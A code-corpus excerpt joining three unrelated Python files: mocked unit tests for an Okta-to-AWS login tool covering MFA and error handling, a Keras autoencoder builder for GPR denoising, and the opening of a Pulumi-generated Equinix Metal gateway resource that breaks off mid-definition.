responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_PUSH_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', json=json.loads(MFA_WAITING_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/lifecycle/activate/poll', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.okta.input') @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_mfa_totp_challenge( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod, mock_input ): mock_input.return_value = "123456" responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_TOTP_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.okta.input') @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_mfa_hardware_token_challenge( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod, mock_input ): mock_input.return_value = "123456" responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_YUBICO_HARDWARE_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.prompt.input') @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty', new=MagicMock()) @patch('aws_okta_processor.core.prompt.print_tty', new=MagicMock()) @responses.activate def test_okta_mfa_push_multiple_factor_challenge( self, mock_makedirs, mock_open, mock_chmod, mock_input ): mock_input.return_value = "2" responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_MULTIPLE_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', json=json.loads(MFA_WAITING_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/lifecycle/activate/poll', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) self.assertEqual(okta.okta_single_use_token, "single_use_token") self.assertEqual(okta.organization, "organization.okta.com") self.assertEqual(okta.okta_session_id, "session_token") @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_mfa_verify_value_error( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_PUSH_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', body="NOT JSON", status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Invalid JSON") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_mfa_verify_send_error( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_MFA_PUSH_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn/factors/id/verify', json={ "status": "foo", "errorSummary": "bar" }, status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Status: foo"), call("Error: Summary: bar") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_session_id_key_error( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json={ "status": "foo", "errorSummary": "bar" }, status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Status: foo"), call("Error: Summary: bar") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_session_id_value_error( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', body="NOT JSON", status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Invalid JSON") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.datetime', StubDate) @patch('aws_okta_processor.core.okta.os.path.isfile') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_refresh_key_error( self, mock_print_tty, mock_makedirs, mock_isfile, mock_open, mock_chmod ): StubDate.now = classmethod(lambda cls, tz: datetime(1, 1, 1, 0, 0, tzinfo=tz)) mock_isfile.return_value = True mock_enter = MagicMock() mock_enter.read.return_value = SESSION_RESPONSE mock_open().__enter__.return_value = mock_enter responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions/me/lifecycle/refresh', json={ "status": "foo", "errorSummary": "bar" }, status=500 ) Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Status: foo"), call("Error: Summary: bar") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.datetime', StubDate) @patch('aws_okta_processor.core.okta.os.path.isfile') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_refresh_value_error( self, mock_print_tty, mock_makedirs, mock_isfile, mock_open, mock_chmod ): StubDate.now = classmethod(lambda cls, tz: datetime(1, 1, 1, 0, 0, tzinfo=tz)) mock_isfile.return_value = True mock_enter = MagicMock() mock_enter.read.return_value = SESSION_RESPONSE mock_open().__enter__.return_value = mock_enter responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions/me/lifecycle/refresh', body="bob", status=500 ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Status Code: 500"), call("Error: Invalid JSON") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_get_applications( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) responses.add( responses.GET, 'https://organization.okta.com/api/v1/users/me/appLinks', json=json.loads(APPLICATIONS_RESPONSE) ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) applications = okta.get_applications() expected_applications = OrderedDict( [ ('AWS', 'https://organization.okta.com/home/amazon_aws/0oa3omz2i9XRNSRIHBZO/270'), ('AWS GOV', 'https://organization.okta.com/home/amazon_aws/0oa3omz2i9XRNSRIHBZO/272') ] ) self.assertEqual(applications, expected_applications) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_get_saml_response( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', json=json.loads(AUTH_TOKEN_RESPONSE) ) responses.add( responses.POST, 'https://organization.okta.com/api/v1/sessions', json=json.loads(SESSION_RESPONSE) ) responses.add( responses.GET, 'https://organization.okta.com/home/amazon_aws/0oa3omz2i9XRNSRIHBZO/270', body=SAML_RESPONSE ) okta = Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) saml_response = okta.get_saml_response( application_url='https://organization.okta.com/home/amazon_aws/0oa3omz2i9XRNSRIHBZO/270' ) self.assertEqual(saml_response, SAML_RESPONSE) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_connection_timeout( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', body=ConnectTimeout() ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Timed Out") ] mock_print_tty.assert_has_calls(print_tty_calls) @patch('aws_okta_processor.core.okta.os.chmod') @patch('aws_okta_processor.core.okta.open') @patch('aws_okta_processor.core.okta.os.makedirs') @patch('aws_okta_processor.core.okta.print_tty') @responses.activate def test_okta_connection_error( self, mock_print_tty, mock_makedirs, mock_open, mock_chmod ): responses.add( responses.POST, 'https://organization.okta.com/api/v1/authn', body=ConnectionError() ) with self.assertRaises(SystemExit): Okta( user_name="user_name", user_pass="user_pass", organization="organization.okta.com" ) print_tty_calls = [ call("Error: Connection Error") ] mock_print_tty.assert_has_calls(print_tty_calls)
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7
ac647a71bb737d82d3c82d5896aac4e114739f93
12,508
py
Python
Build_AutoEncoder.py
nephilim2016/AutoEncoder-for-GPR-Denoise
b55be16bd0b6af785efcf072d68dd5523a72f964
[ "MIT" ]
null
null
null
Build_AutoEncoder.py
nephilim2016/AutoEncoder-for-GPR-Denoise
b55be16bd0b6af785efcf072d68dd5523a72f964
[ "MIT" ]
null
null
null
Build_AutoEncoder.py
nephilim2016/AutoEncoder-for-GPR-Denoise
b55be16bd0b6af785efcf072d68dd5523a72f964
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jul 8 16:58:10 2020 @author: nephilim """ import keras # def mse(y_true,y_pred): # return keras.backend.mean(keras.backend.square(y_pred-y_true),axis=-1) class AutoEncoder(): def __init__(self,ImageShape,filters,kernel_size,latent_dim): self.ImageShape=ImageShape self.filters=filters self.kernel_size=kernel_size self.latent_dim=latent_dim def Encoder(self): self.Encoder_Input=keras.Input(shape=self.ImageShape,name='Encoder_Input_2D') x=self.Encoder_Input for idx,_ in enumerate(self.filters): x=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=self.kernel_size[idx],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.MaxPool2D((2,2))(x) self.shape=keras.backend.int_shape(x) # print(self.shape) x=keras.layers.Flatten()(x) Encoder_Output=keras.layers.Dense(self.latent_dim,name='Encoder_Ouput_1D')(x) self.EncoderMode=keras.models.Model(inputs=self.Encoder_Input,outputs=Encoder_Output,name='EncoderPart') self.EncoderMode.summary() self.EncoderMode.compile(loss='mse',optimizer='adam') def Decoder(self): Decoder_Input=keras.Input(shape=(self.latent_dim,),name='Decoder_Input_1D') x=keras.layers.Dense(self.shape[1]*self.shape[2]*self.shape[3])(Decoder_Input) x=keras.layers.Reshape((self.shape[1],self.shape[2],self.shape[3]))(x) for idx,_ in enumerate(self.filters): x=keras.layers.Conv2DTranspose(filters=self.filters[len(self.filters)-idx-1],kernel_size=self.kernel_size[len(self.kernel_size)-idx-1],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.UpSampling2D((2,2))(x) Decoder_Output=keras.layers.Conv2DTranspose(filters=1,kernel_size=3,activation='sigmoid',padding='same',name='Decoder_Output_1D')(x) self.DecoderMode=keras.models.Model(inputs=Decoder_Input,outputs=Decoder_Output) self.DecoderMode.summary() self.DecoderMode.compile(loss='mse',optimizer='adam') def DropOutEncoder(self): self.Encoder_Input=keras.Input(shape=self.ImageShape,name='Encoder_Input_2D') x=self.Encoder_Input for idx,_ in enumerate(self.filters): x=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=self.kernel_size[idx],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.MaxPool2D((2,2))(x) x=keras.layers.Dropout(0.2)(x) # if idx==1: # residual=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=3,padding='same')(self.Encoder_Input) # residual=keras.layers.MaxPool2D((4,4))(residual) # x=keras.layers.add([x,residual]) # residual=keras.layers.Conv2D(filters=self.filters[-1],kernel_size=3,strides=2**len(self.filters),padding='same')(self.Encoder_Input) # x=keras.layers.add([x,residual]) self.shape=keras.backend.int_shape(x) # print(self.shape) x=keras.layers.Flatten()(x) Encoder_Output=keras.layers.Dense(self.latent_dim,name='Encoder_Ouput_1D')(x) self.EncoderMode=keras.models.Model(inputs=self.Encoder_Input,outputs=Encoder_Output,name='EncoderPart') self.EncoderMode.summary() self.EncoderMode.compile(loss='mse',optimizer='adam') def DropOutDecoder(self): Decoder_Input=keras.Input(shape=(self.latent_dim,),name='Decoder_Input_1D') x=keras.layers.Dense(self.shape[1]*self.shape[2]*self.shape[3])(Decoder_Input) x=keras.layers.Reshape((self.shape[1],self.shape[2],self.shape[3]))(x) for idx,_ in enumerate(self.filters): x=keras.layers.Conv2DTranspose(filters=self.filters[len(self.filters)-idx-1],kernel_size=self.kernel_size[len(self.kernel_size)-idx-1],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.UpSampling2D((2,2))(x) x=keras.layers.Dropout(0.2)(x) Decoder_Output=keras.layers.Conv2DTranspose(filters=1,kernel_size=3,activation='sigmoid',padding='same',name='Decoder_Output_1D')(x) self.DecoderMode=keras.models.Model(inputs=Decoder_Input,outputs=Decoder_Output) self.DecoderMode.summary() self.DecoderMode.compile(loss='mse',optimizer='adam') def ResidualConnectionEncoder(self): self.Encoder_Input=keras.Input(shape=self.ImageShape,name='Encoder_Input_2D') x=self.Encoder_Input for idx,_ in enumerate(self.filters): x=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=self.kernel_size[idx],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.MaxPool2D((2,2))(x) x=keras.layers.Dropout(0.2)(x) if idx==0: residual=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=5,padding='same')(self.Encoder_Input) residual=keras.layers.BatchNormalization()(residual) residual=keras.layers.MaxPool2D((2,2))(residual) x=keras.layers.add([x,residual]) if idx==1: residual=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=5,padding='same')(self.Encoder_Input) residual=keras.layers.BatchNormalization()(residual) residual=keras.layers.MaxPool2D((4,4))(residual) x=keras.layers.add([x,residual]) # residual=keras.layers.Conv2D(filters=self.filters[-1],kernel_size=3,strides=2**len(self.filters),padding='same')(self.Encoder_Input) # x=keras.layers.add([x,residual]) self.shape=keras.backend.int_shape(x) # print(self.shape) x=keras.layers.Flatten()(x) Encoder_Output=keras.layers.Dense(self.latent_dim,name='Encoder_Ouput_1D')(x) self.EncoderMode=keras.models.Model(inputs=self.Encoder_Input,outputs=Encoder_Output,name='EncoderPart') self.EncoderMode.summary() self.EncoderMode.compile(loss='mse',optimizer='adam') def ResidualConnectionDecoder(self): Decoder_Input=keras.Input(shape=(self.latent_dim,),name='Decoder_Input_1D') x=keras.layers.Dense(self.shape[1]*self.shape[2]*self.shape[3])(Decoder_Input) x=keras.layers.Reshape((self.shape[1],self.shape[2],self.shape[3]))(x) for idx,_ in enumerate(self.filters): x=keras.layers.Conv2DTranspose(filters=self.filters[len(self.filters)-idx-1],kernel_size=self.kernel_size[len(self.kernel_size)-idx-1],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.UpSampling2D((2,2))(x) Decoder_Output=keras.layers.Conv2DTranspose(filters=1,kernel_size=3,activation='sigmoid',padding='same',name='Decoder_Output_1D')(x) self.DecoderMode=keras.models.Model(inputs=Decoder_Input,outputs=Decoder_Output) self.DecoderMode.summary() self.DecoderMode.compile(loss='mse',optimizer='adam') def AtrousEncoder(self): self.Encoder_Input=keras.Input(shape=self.ImageShape,name='Encoder_Input_2D') x=self.Encoder_Input for idx,_ in enumerate(self.filters): x=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=self.kernel_size[idx],activation='relu',padding='same',dilation_rate=idx+1)(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.MaxPool2D((2,2))(x) x=keras.layers.BatchNormalization()(x) # if idx==1: # residual=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=3,padding='same')(self.Encoder_Input) # residual=keras.layers.MaxPool2D((4,4))(residual) # x=keras.layers.add([x,residual]) # residual=keras.layers.Conv2D(filters=self.filters[-1],kernel_size=3,strides=2**len(self.filters),padding='same')(self.Encoder_Input) # x=keras.layers.add([x,residual]) self.shape=keras.backend.int_shape(x) # print(self.shape) x=keras.layers.Flatten()(x) Encoder_Output=keras.layers.Dense(self.latent_dim,name='Encoder_Ouput_1D')(x) self.EncoderMode=keras.models.Model(inputs=self.Encoder_Input,outputs=Encoder_Output,name='EncoderPart') self.EncoderMode.summary() self.EncoderMode.compile(loss='mse',optimizer='adam') def AtrousDecoder(self): Decoder_Input=keras.Input(shape=(self.latent_dim,),name='Decoder_Input_1D') x=keras.layers.Dense(self.shape[1]*self.shape[2]*self.shape[3])(Decoder_Input) x=keras.layers.Reshape((self.shape[1],self.shape[2],self.shape[3]))(x) for idx,_ in enumerate(self.filters): x=keras.layers.Conv2DTranspose(filters=self.filters[len(self.filters)-idx-1],kernel_size=self.kernel_size[len(self.kernel_size)-idx-1],activation='relu',padding='same',dilation_rate=len(self.kernel_size)-idx)(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.UpSampling2D((2,2))(x) x=keras.layers.BatchNormalization()(x) Decoder_Output=keras.layers.Conv2DTranspose(filters=1,kernel_size=3,activation='sigmoid',padding='same',name='Decoder_Output_1D')(x) self.DecoderMode=keras.models.Model(inputs=Decoder_Input,outputs=Decoder_Output) # self.DecoderMode.summary() self.DecoderMode.compile(loss='mse',optimizer='adam') def BuildAutoEncoder(ImageShape=(32,32,1),filters=[32,64,128],kernel_size=[5,5,5],latent_dim=256): AutoEncoder_=AutoEncoder(ImageShape,filters,kernel_size,latent_dim) AutoEncoder_.Encoder() AutoEncoder_.Decoder() AutoEncoderMode=keras.models.Model(inputs=AutoEncoder_.Encoder_Input,outputs=AutoEncoder_.DecoderMode(AutoEncoder_.EncoderMode(AutoEncoder_.Encoder_Input)),name='AutoEncoderMode') AutoEncoderMode.summary() AutoEncoderMode.compile(loss='mse',optimizer='adam') return AutoEncoderMode def BuildDropOutAutoEncoder(ImageShape=(32,32,1),filters=[32,64,128],kernel_size=[5,5,5],latent_dim=256): AutoEncoder_=AutoEncoder(ImageShape,filters,kernel_size,latent_dim) AutoEncoder_.DropOutEncoder() AutoEncoder_.DropOutDecoder() AutoEncoderMode=keras.models.Model(inputs=AutoEncoder_.Encoder_Input,outputs=AutoEncoder_.DecoderMode(AutoEncoder_.EncoderMode(AutoEncoder_.Encoder_Input)),name='AutoEncoderMode') AutoEncoderMode.summary() AutoEncoderMode.compile(loss='mse',optimizer='adam') return AutoEncoderMode def BuildResidualConnectionAutoEncoder(ImageShape=(32,32,1),filters=[32,64,128],kernel_size=[5,5,5],latent_dim=256): AutoEncoder_=AutoEncoder(ImageShape,filters,kernel_size,latent_dim) AutoEncoder_.ResidualConnectionEncoder() AutoEncoder_.ResidualConnectionDecoder() AutoEncoderMode=keras.models.Model(inputs=AutoEncoder_.Encoder_Input,outputs=AutoEncoder_.DecoderMode(AutoEncoder_.EncoderMode(AutoEncoder_.Encoder_Input)),name='AutoEncoderMode') AutoEncoderMode.summary() AutoEncoderMode.compile(loss='mse',optimizer='adam') return AutoEncoderMode def BuildAtrousAutoEncoder(ImageShape=(32,32,1),filters=[32,64,128],kernel_size=[5,5,5],latent_dim=256): AutoEncoder_=AutoEncoder(ImageShape,filters,kernel_size,latent_dim) AutoEncoder_.AtrousEncoder() AutoEncoder_.AtrousDecoder() AutoEncoderMode=keras.models.Model(inputs=AutoEncoder_.Encoder_Input,outputs=AutoEncoder_.DecoderMode(AutoEncoder_.EncoderMode(AutoEncoder_.Encoder_Input)),name='AutoEncoderMode') AutoEncoderMode.summary() AutoEncoderMode.compile(loss='mse',optimizer='adam') return AutoEncoderMode def AutoEncoderTraining(Model,epochs,inputs_train,outputs_train,inputs_validation,outputs_validation,save_path_name): callbacks_list=[keras.callbacks.ModelCheckpoint(filepath=save_path_name+'.h5',monitor='val_loss',save_best_only=True),\ keras.callbacks.TensorBoard(log_dir='./TensorBoard',histogram_freq=1,write_graph=True,write_images=True)] history=Model.fit(inputs_train,outputs_train,epochs=epochs,batch_size=64,callbacks=callbacks_list,validation_data=(inputs_validation,outputs_validation)) test_loss=Model.evaluate(inputs_validation,outputs_validation) return history,test_loss,Model
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0.850222
0.850222
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0.150544
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7
ac6cb36cb38e4278f94e8ec499ce8b27019a19d3
17,087
py
Python
sdk/python/pulumi_equinix_metal/gateway.py
pulumi/pulumi-equinix-metal
79213497bddc7ae806d3b27c3f349fdff935a19f
[ "ECL-2.0", "Apache-2.0" ]
1
2021-01-08T21:57:33.000Z
2021-01-08T21:57:33.000Z
sdk/python/pulumi_equinix_metal/gateway.py
pulumi/pulumi-equinix-metal
79213497bddc7ae806d3b27c3f349fdff935a19f
[ "ECL-2.0", "Apache-2.0" ]
33
2020-12-23T21:37:39.000Z
2022-03-25T19:23:17.000Z
sdk/python/pulumi_equinix_metal/gateway.py
pulumi/pulumi-equinix-metal
79213497bddc7ae806d3b27c3f349fdff935a19f
[ "ECL-2.0", "Apache-2.0" ]
1
2021-01-08T21:24:44.000Z
2021-01-08T21:24:44.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['GatewayArgs', 'Gateway'] @pulumi.input_type class GatewayArgs: def __init__(__self__, *, project_id: pulumi.Input[str], vlan_id: pulumi.Input[str], ip_reservation_id: Optional[pulumi.Input[str]] = None, private_ipv4_subnet_size: Optional[pulumi.Input[int]] = None): """ The set of arguments for constructing a Gateway resource. :param pulumi.Input[str] project_id: UUID of the project where the gateway is scoped to :param pulumi.Input[str] vlan_id: UUID of the VLAN where the gateway is scoped to :param pulumi.Input[str] ip_reservation_id: UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` :param pulumi.Input[int] private_ipv4_subnet_size: Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` """ pulumi.set(__self__, "project_id", project_id) pulumi.set(__self__, "vlan_id", vlan_id) if ip_reservation_id is not None: pulumi.set(__self__, "ip_reservation_id", ip_reservation_id) if private_ipv4_subnet_size is not None: pulumi.set(__self__, "private_ipv4_subnet_size", private_ipv4_subnet_size) @property @pulumi.getter(name="projectId") def project_id(self) -> pulumi.Input[str]: """ UUID of the project where the gateway is scoped to """ return pulumi.get(self, "project_id") @project_id.setter def project_id(self, value: pulumi.Input[str]): pulumi.set(self, "project_id", value) @property @pulumi.getter(name="vlanId") def vlan_id(self) -> pulumi.Input[str]: """ UUID of the VLAN where the gateway is scoped to """ return pulumi.get(self, "vlan_id") @vlan_id.setter def vlan_id(self, value: pulumi.Input[str]): pulumi.set(self, "vlan_id", value) @property @pulumi.getter(name="ipReservationId") def ip_reservation_id(self) -> Optional[pulumi.Input[str]]: """ UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` """ return pulumi.get(self, "ip_reservation_id") @ip_reservation_id.setter def ip_reservation_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip_reservation_id", value) @property @pulumi.getter(name="privateIpv4SubnetSize") def private_ipv4_subnet_size(self) -> Optional[pulumi.Input[int]]: """ Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` """ return pulumi.get(self, "private_ipv4_subnet_size") @private_ipv4_subnet_size.setter def private_ipv4_subnet_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "private_ipv4_subnet_size", value) @pulumi.input_type class _GatewayState: def __init__(__self__, *, ip_reservation_id: Optional[pulumi.Input[str]] = None, private_ipv4_subnet_size: Optional[pulumi.Input[int]] = None, project_id: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, vlan_id: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering Gateway resources. :param pulumi.Input[str] ip_reservation_id: UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` :param pulumi.Input[int] private_ipv4_subnet_size: Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` :param pulumi.Input[str] project_id: UUID of the project where the gateway is scoped to :param pulumi.Input[str] state: Status of the gateway resource :param pulumi.Input[str] vlan_id: UUID of the VLAN where the gateway is scoped to """ if ip_reservation_id is not None: pulumi.set(__self__, "ip_reservation_id", ip_reservation_id) if private_ipv4_subnet_size is not None: pulumi.set(__self__, "private_ipv4_subnet_size", private_ipv4_subnet_size) if project_id is not None: pulumi.set(__self__, "project_id", project_id) if state is not None: pulumi.set(__self__, "state", state) if vlan_id is not None: pulumi.set(__self__, "vlan_id", vlan_id) @property @pulumi.getter(name="ipReservationId") def ip_reservation_id(self) -> Optional[pulumi.Input[str]]: """ UUID of IP reservation block to bind to the gateway, the reservation must be in the same metro as the VLAN, conflicts with `private_ipv4_subnet_size` """ return pulumi.get(self, "ip_reservation_id") @ip_reservation_id.setter def ip_reservation_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip_reservation_id", value) @property @pulumi.getter(name="privateIpv4SubnetSize") def private_ipv4_subnet_size(self) -> Optional[pulumi.Input[int]]: """ Size of the private IPv4 subnet to create for this metal gateway, must be one of (8, 16, 32, 64, 128), conflicts with `ip_reservation_id` """ return pulumi.get(self, "private_ipv4_subnet_size") @private_ipv4_subnet_size.setter def private_ipv4_subnet_size(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "private_ipv4_subnet_size", value) @property @pulumi.getter(name="projectId") def project_id(self) -> Optional[pulumi.Input[str]]: """ UUID of the project where the gateway is scoped to """ return pulumi.get(self, "project_id") @project_id.setter def project_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project_id", value) @property @pulumi.getter def state(self) -> Optional[pulumi.Input[str]]: """ Status of the gateway resource """ return pulumi.get(self, "state") @state.setter def state(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "state", value) @property @pulumi.getter(name="vlanId") def vlan_id(self) -> Optional[pulumi.Input[str]]: """ UUID of the VLAN where the gateway is scoped to """ return pulumi.get(self, "vlan_id") @vlan_id.setter def vlan_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "vlan_id", value) class Gateway(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, ip_reservation_id: Optional[pulumi.Input[str]] = None, private_ipv4_subnet_size: Optional[pulumi.Input[int]] = None, project_id: 